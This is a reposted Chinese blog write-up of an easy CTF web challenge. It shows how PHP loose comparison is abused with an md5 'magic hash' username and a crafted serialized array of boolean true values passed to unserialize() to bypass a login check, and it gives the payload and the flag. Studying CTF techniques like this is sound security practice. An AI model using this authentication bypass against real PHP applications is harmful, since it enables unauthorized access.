




ctf php简单题一般怎么,CTF最简单的Web题

转载

圆滚滚的豆豆  于 2021-04-01 06:46:39 发布  422  收藏

文章标签: [ctf php简单题一般怎么](#)

<http://www.shiyanbar.com/ctf/1810>

天网管理系统

天网你敢来挑战嘛

格式: ctf{ }

解题链接: <http://ctf5.shiyanbar.com/10/web1>

查看源代码发现提示

```
md5($test) = '0'
```

百度0开头的md5值, 随便拿一个带进username用就OK了。

得到一个提示:

```
/user.php?fame=hjkleffifer
```

进入 <http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer>

```
$unserialize_str = $_POST['password'];
```

```
$data_unserialize = unserialize($unserialize_str);
```

```
if($data_unserialize['user'] == '???' && $data_unserialize['pass'] == '???)
```

```
{ print_r($flag); }
```

伟大的科学家php方言道: 成也布尔, 败也布尔。 回去吧骚年

把复杂的数据类型压缩到一个字符串中

serialize() 把变量和它们的值编码成文本形式

unserialize() 恢复原先变量

弱类型, bool的true和任意字符串弱类型相等,

所以构造的user(bool)和password(bool)的值为true即可。

```
$payload = array('user'=>true,'pass' => true);
```

```
echo serialize($payload);
```

```
?>
```

得到

```
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
```

```
user:admin
```

password: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

得到

ctf{dwduwkhduw5465}

来源: oschina

链接: <https://my.oschina.net/u/4399096/blog/3930951>